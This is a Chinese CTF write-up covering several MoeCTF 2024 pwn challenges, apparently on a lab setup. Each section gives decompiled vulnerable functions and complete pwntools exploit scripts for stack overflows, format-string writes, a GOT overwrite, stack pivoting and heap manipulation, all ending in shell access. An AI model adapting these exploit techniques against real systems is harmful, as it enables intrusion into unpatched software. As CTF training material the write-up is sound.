题目两次溢出,第一次泄漏canary,第二次溢出跳到后门,由于开启了pie,需要爆破。
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
write(1, "What can you do when almost all protections are turned on?\n", 0x3BuLL);
read(0, buf, 0x30uLL);
puts(buf);
write(1, "If I give you one more chance...\n", 0x21uLL);
read(0, buf, 0x30uLL);
return v2 - __readfsqword(0x28u);
}
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./twice')
gdb.attach(r,"b * $rebase(0x012c4)")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./twice')
r.recvuntil("ed on?\n")
r.send('a'*24+'b')
r.recvuntil("aaab")
canary = u64('\x00'+r.recv(7))
log.success("canary:"+hex(canary))
stack = u64(r.recv(6)+'\x00\x00')
r.send('a'*24+p64(canary)+p64(stack)+"\xad\x11")
r.interactive()
格式化字符串漏洞,但是字符串不在栈内,需要微操栈内二级指针去对栈内内容进行修改。
int vuln()
{
int result; // eax
int i; // [rsp+Ch] [rbp-4h]
puts("Welcome to MoeCTF 2024!");
result = puts("You will have 3 chances to exploit... But where is my fmt?");
for ( i = 3; i > 0; --i )
{
printf("\nYou have %d chances.\n", (unsigned int)i);
read(0, buf, 0x100uLL);
result = printf(buf);
}
return result;
}
只有三次格式化字符串漏洞利用机会,此题我没看到后门,硬从栈内撕了一个符合条件的one_gadget
getshell。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./WhereIsFmt')
#gdb.attach(r,"b * 0x4012BF")
gdb.attach(r,"b * 0x40128b")
else:
r = remote('192.168.248.1',1212)
elf = ELF('./WhereIsFmt')
r.send("%8$p%11$p")
r.recvuntil("ces.\n")
stack = int(r.recv(14),16)
libc = int(r.recv(14),16)
log.success("stack:"+hex(stack))
log.success("libc:"+hex(libc))
libc_addr = libc - 0x29d90
target = (stack - 0x14) % 0x10000
r.recvuntil(" chances.")
r.send("%"+str(target)+"c%15$hn")
r.recvuntil(" chances.")
r.send("9999999%45$hn") # 修改次数,获取更多机会,正常在这里直接将返回地址改为后门即可getshell
ogg = libc_addr + 0xebc85
ogg1 = ogg % 0x10000
ogg2 = (ogg >> 16) % 0x100
r.recvuntil(" chances.")
target += 28
r.send("%"+str(target)+"c%15$hn")
r.recvuntil(" chances.")
r.send("%"+str(ogg1)+"c%45$hn")
r.recvuntil(" chances.")
target = (target + 2) % 0x100
r.send("%"+str(target)+"c%15$hhn")
r.recvuntil(" chances.")
r.send("%"+str(ogg2)+"c%45$hhn")
#r.recvuntil(" chances.")
log.info("ogg2:"+hex(ogg2))
log.success("ogg:"+hex(ogg))
target = target -9
r.send("%"+str(target)+"c%15$hhn")
r.recvuntil(" chances.")
r.send("%"+str(0x4041)+"c%45$hn")
r.interactive()
vuln()函数存在数组越界。
unsigned __int64 calc()
{
int v1; // [rsp+8h] [rbp-18h] BYREF
int v2; // [rsp+Ch] [rbp-14h] BYREF
__int64 v3; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Which archive do you want to use?");
__isoc99_scanf("%u", &v1); //漏洞点
now_save = &saves[8 * v1];
menu_calu();
while ( 1 )
{
printf("> ");
__isoc99_scanf("%d", &v2);
if ( v2 == 5 )
return v4 - __readfsqword(0x28u);
printf("Operand: ");
__isoc99_scanf("%ld", &v3);
if ( v2 == 4 )
{
*now_save /= v3;
}
else
{
if ( v2 > 4 )
goto LABEL_13;
switch ( v2 )
{
case 3:
*now_save *= v3;
break;
case 1:
*now_save += v3;
break;
case 2:
*now_save -= v3;
break;
default:
LABEL_13:
puts("Invalid choice.");
break;
}
}
}
}
先将/bin/sh
字符串写入到saves处。
r.recvuntil("Exit\n")
r.sendline('1')
r.recvuntil("use?\n")
r.sendline('0')
r.recvuntil("> ")
r.sendline('1')
r.recvuntil("Operand: ")
r.sendline(str(u64("/bin/sh\x00")))
r.recvuntil("> ")
r.sendline('5')
再通过数组越界将now_save的地址写入到now_save中构造重合指针构造任意地址可修改,将now_save内的地址修改为puts_got。
再将puts_got内的puts绝对地址改为system的绝对地址,退出构造成system("/bin"sh")
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./GotIt')
gdb.attach(r,"b * $rebase(0x013A7)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
libc = ELF('./libc.so.6')
elf = ELF('./GotIt')
r.recvuntil("Exit\n")
r.sendline('1')
r.recvuntil("use?\n")
r.sendline('0')
r.recvuntil("> ")
r.sendline('1')
r.recvuntil("Operand: ")
r.sendline(str(u64("/bin/sh\x00")))
r.recvuntil("> ")
r.sendline('5')
r.recvuntil("Exit\n")
r.sendline('1')
r.recvuntil("use?\n")
r.sendline('16')
r.recvuntil("> ")
r.sendline('2')
r.recvuntil("Operand: ")
r.sendline(str(0x100))
r.recvuntil("> ")
r.sendline('2')
r.recvuntil("Operand: ")
r.sendline(str(0x300e0))
r.recvuntil("> ")
r.sendline('5')
r.recvuntil("Welcome")
r.sendline('3')
r.interactive()
vuln()
函数存在栈溢出,只能溢出一个字符。溢出三次,第一次溢出修改rbp的值,第二次溢出向bss段写入内容并栈迁移泄漏libc,第三次溢出执行system("/bin/sh")
。
ssize_t vuln()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
puts("16 bytes can you kill me?");
return read(0, buf, 0x90uLL);
}
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./TravelOfStack')
gdb.attach(r,"b * 0x4011FC")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
libc = ELF('./libc.so.6')
elf = ELF('./TravelOfStack')
rdi = 0x4011c5
r.recvuntil("me?")
r.send('a'*128+p64(0x404200)+p64(0x4011D6))
r.recvuntil("me?\n")
r.send(p64(0x404900)+p64(rdi)+p64(elf.got['puts'])+p64(0x401060)+p64(0x4011D6)+cyclic(128-0x28)+p64(0x404180)+p64(0x4011FC))
puts = u64(r.recv(6)+"\x00\x00")
log.success("puts:"+hex(puts))
libc_addr = puts - libc.symbols["puts"]
system = libc_addr + libc.symbols["system"]
binsh = libc_addr + libc.search("/bin/sh").next()
r.send(p64(0x404300)+p64(0x40101a)+p64(rdi)+p64(binsh)+p64(system)+p64(0x4011D6)+cyclic(128-0x30)+p64(0x404880)+p64(0x4011FC))
r.interactive()
vuln()函数存在格式化字符串漏洞,给了栈地址,只有一次机会,格式化字符串的位置不在栈内。
unsigned __int64 vuln()
{
__int64 v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0LL;
printf("gift: %p\n", &v1);
puts("You will have only one chance!");
read(0, buf, 0x100uLL);
printf(buf);
return v2 - __readfsqword(0x28u);
}
没有一点思路,直到看到一篇大佬的文章https://zikh26.github.io/posts/a523e26a.html。
大致原理为,如果你不用$
指定格式化字符串的参数,而是用%
依次调用后面的参数,printf()
函数也会依次处理每个格式化字符而不是一起全部处理掉。这样就有机会利用栈内的栈二级指针伪造出指向函数返回地址的指针。
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./OneChance')
gdb.attach(r,"b * $rebase(0x12A1)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
libc = ELF('./libc.so.6')
elf = ELF('./OneChance')
r.recvuntil("gift: ")
stack = int(r.recv(14),16)
log.success("stack:"+hex(stack))
target = (stack) % 0x10000
r.send("%p"*13+"%"+str(target-138+0x18)+"c%hn%"+str(0x108-(target % 0x100)-24)+"c%45$hhn")
#r.send("%20$p")
r.interactive()
practice()
函数存在数值溢出。
unsigned __int64 practice()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Here you can be stronger");
if ( flag )
{
puts("You are strong enough...");
}
else
{
v1 = 0;
v2 = 0;
puts("How much hp you want to grow?");
__isoc99_scanf("%d", &v1);
puts("How much power you want to grow?");
__isoc99_scanf("%d", &v2);
if ( v1 <= 100 && v2 <= 10 )
{
Player += v1;
dword_404084 += v2;
flag = 1;
puts("Done!");
}
else
{
puts("That's too much...");
}
}
return v3 - __readfsqword(0x28u);
}
success()
存在格式化字符串漏洞,可利用两次。
int success()
{
int result; // eax
int i; // [rsp+Ch] [rbp-4h]
puts("You win!");
result = puts("You get two magic from Goldenwing, how will you use them?");
for ( i = 0; i <= 1; ++i )
{
memset(magic, 0, sizeof(magic));
read(0, magic, 0x100uLL);
printf("magic%d: ", (i + 1));
printf(magic);
result = putchar(10);
}
return result;
}
god()
可以向栈内写入指针供格式化字符串漏洞使用。
ssize_t __fastcall god(void *a1)
{
puts("You found 0xcafebabe, and he gave you a secret book.");
puts("Maybe you can write some secret code here?");
return read(0, a1, 0x20uLL);
}
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./goldenwing')
gdb.attach(r,"b * 0x04015F4")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
libc = ELF('./libc.so.6')
elf = ELF('./goldenwing')
r.sendline("")
r.recvuntil("Choice> ")
r.sendline(str(0xCAFEBABE))
r.recvuntil("here?")
r.send(p64(elf.got["putchar"])+p64(elf.got["sleep"])+p64(elf.got["putchar"]+2))
r.recvuntil("Choice> ")
r.sendline("2")
r.recvuntil("grow?")
r.sendline("-10000")
r.recvuntil("grow?")
r.sendline("-10000")
r.recvuntil("Choice> ")
r.sendline("3")
r.recvuntil("hem?")
r.sendline("%17$s")
r.recvuntil("magic1: ")
sleep = u64(r.recv(6)+"\x00\x00")
log.success("sleep:"+hex(sleep))
libc_addr = sleep - libc.symbols["sleep"]
ogg = libc_addr + 0xebc85
ogg0 = ogg % 0x10000
ogg1 = (ogg >> 16) % 0x100
log.info("ogg:"+hex(ogg))
r.sendline("%"+str(ogg1)+"c%18$hhn%"+str(ogg0-ogg1)+"c%16$hn")
r.interactive()
题目说没有堆利用,但是我感觉不利用做不上。parse()函数存在溢出漏洞,可溢出覆盖inode_list内的指针,配合cat()函数可实现任意地址读,配合echo()函数可实现libc以下的任意地址写。
__int64 __fastcall parse(char *a1)
{
int v2; // eax
unsigned int v3; // [rsp+10h] [rbp-10h]
int i; // [rsp+14h] [rbp-Ch]
const char *s2; // [rsp+18h] [rbp-8h]
const char *s2a; // [rsp+18h] [rbp-8h]
s2 = strtok(a1, " ");
v3 = -1;
for ( i = 0; i <= 5; ++i )
{
if ( !strcmp((&command_list)[3 * i], s2) )
{
v3 = i;
break;
}
}
if ( v3 == -1 )
{
printf("No such command %s.\n", s2);
return 0xFFFFFFFFLL;
}
else
{
nargs = 0;
while ( 1 )
{
s2a = strtok(0LL, " ");
if ( !s2a )
break;
if ( strlen(s2a) > 0x1F )
{
puts("Args too long.");
return 0xFFFFFFFFLL;
}
v2 = nargs++;
strcpy(&arg_list[32 * v2], s2a); //这里有溢出漏洞
}
if ( nargs <= 10 )
{
return v3;
}
else
{
puts("Too many args.");
return 0xFFFFFFFFLL;
}
}
}
先释放几个tcache获取堆地址
s("touch aaa")
s("echo bbbbbbbb > aaa ")
s("touch bbbbbbbb\x91")
s("echo bbbbbbbb > bbbbbbbb\x91 ")
s("touch ccc")
s("touch dddddddddddddddddddddddd\x11")
s("echo bbbbbbbb > ccc ")
s("touch a")
s("echo bbbbbbbb > a")
s("touch b")
s("echo bbbbbbbb > b")
s("touch c")
s("echo bbbbbbbb > c")
s("touch d")
s("echo bbbbbbbb > d")
s("rm a")
s("rm b")
s("rm c")
s("rm d")
s("echo bbbbbbbb > dddddddddddddddddddddddd\x11 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a \x01 ")
s("echo bbbbbbbb > bbbbbbbb\x91 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01 ")
s("rm ccc")
s("cat bbbbbbbb\x91")
heap = u64(r.recv(5)+"\x00\x00\x00") << 12
log.info("heap:"+hex(heap))
向堆地址内构造fake_large_chunk释放,获取libc地址。
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x2a0))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15)
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xb0))
s("echo aaaaaaaa\x21\x04 > aaa\x00")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x4c0))
s("echo aaaaaaaa\x31 > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x40))
s("echo aaa > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0))
s("rm aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x40))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15)
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0))
s("cat aaa")
libcs = u64(r.recv(6)+"\x00\x00")
log.info("libc:"+hex(libcs))
libc_addr = libcs- 0x21ace0
在调用luosh()时,命令luofuck时,可数组越界执行其他地址。
void __noreturn luosh()
{
char s1[520]; // [rsp+10h] [rbp-210h] BYREF
unsigned __int64 v1; // [rsp+218h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Welcome using luosh!");
while ( 1 )
{
printf("luo ~> ");
read_line(s1, 0x200uLL);
if ( strcmp(s1, "luofuck") || idx == -1 )
idx = parse(s1);
else
puts("fucked by luo!");
if ( idx != -1 )
{
if ( *(&unk_3CD0 + 6 * idx) <= nargs )
(*(&funcs_1C6E + 3 * idx))(arg_list);
else
puts("Missing args.");
}
}
}
选择one_gadget
0x10d9c2 posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x40], 0, rsp+0x70, [rsp+0xf0])
constraints:
[rsp+0x70] == NULL
[[rsp+0xf0]] == NULL || [rsp+0xf0] == NULL
[rsp+0x40] == NULL || (s32)[[rsp+0x40]+0x4] <= 0
构造one_gadget并执行,最终exp如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 1
if local == 1:
r=process('./luosh')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('192.168.248.1',1212)
libc = ELF('./libc.so.6')
def dbg():
if local == 1:
gdb.attach(r,"b * $rebase(0x01c6e)")
elf = ELF('./luosh')
def s(sh):
r.recvuntil("luo ~> ")
r.sendline(sh)
s("touch aaa")
s("echo bbbbbbbb > aaa ")
s("touch bbbbbbbb\x91")
s("echo bbbbbbbb > bbbbbbbb\x91 ")
s("touch ccc")
s("touch dddddddddddddddddddddddd\x11")
s("echo bbbbbbbb > ccc ")
s("touch a")
s("echo bbbbbbbb > a")
s("touch b")
s("echo bbbbbbbb > b")
s("touch c")
s("echo bbbbbbbb > c")
s("touch d")
s("echo bbbbbbbb > d")
s("rm a")
s("rm b")
s("rm c")
s("rm d")
s("echo bbbbbbbb > dddddddddddddddddddddddd\x11 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a \x01 ")
s("echo bbbbbbbb > bbbbbbbb\x91 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01 ")
s("rm ccc")
s("cat bbbbbbbb\x91")
heap = u64(r.recv(5)+"\x00\x00\x00") << 12
log.info("heap:"+hex(heap))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x2a0))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15)
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xb0))
s("echo aaaaaaaa\x21\x04 > aaa\x00")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x4c0))
s("echo aaaaaaaa\x31 > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x40))
s("echo aaa > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0))
s("rm aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x40))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15)
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0))
s("cat aaa")
libcs = u64(r.recv(6)+"\x00\x00")
log.info("libc:"+hex(libcs))
libc_addr = libcs- 0x21ace0
pie_ptr = libc_addr + 0x219e38
stack_ptr = libc_addr + 0x21ba20
stack_ptr2 = libc_addr + 0x222200
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(pie_ptr))
s("cat aaa")
s("cat aaa")
pie = u64(r.recv(6)+"\x00\x00")-0x4020
log.info("pie:"+hex(pie))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(pie+0x4028))
s("echo "+(p64(libc_addr + 0x10d9c2)[:6])+" > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x3+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(pie+0x4060))
s("echo bbbbbbbb > aaa "+"c"*(0x8+19)+"a"*29+"\x01")
s("echo bbbbbbbb > aaa "+"c"*(0x8+12)+p64(pie+0x4070))
s("echo $ > aaa")
s("luofuck")
r.interactive()
题目说环境没有libc,那就需要一个不需要libc就能执行的可执行文件,用纯汇编写一段orw。
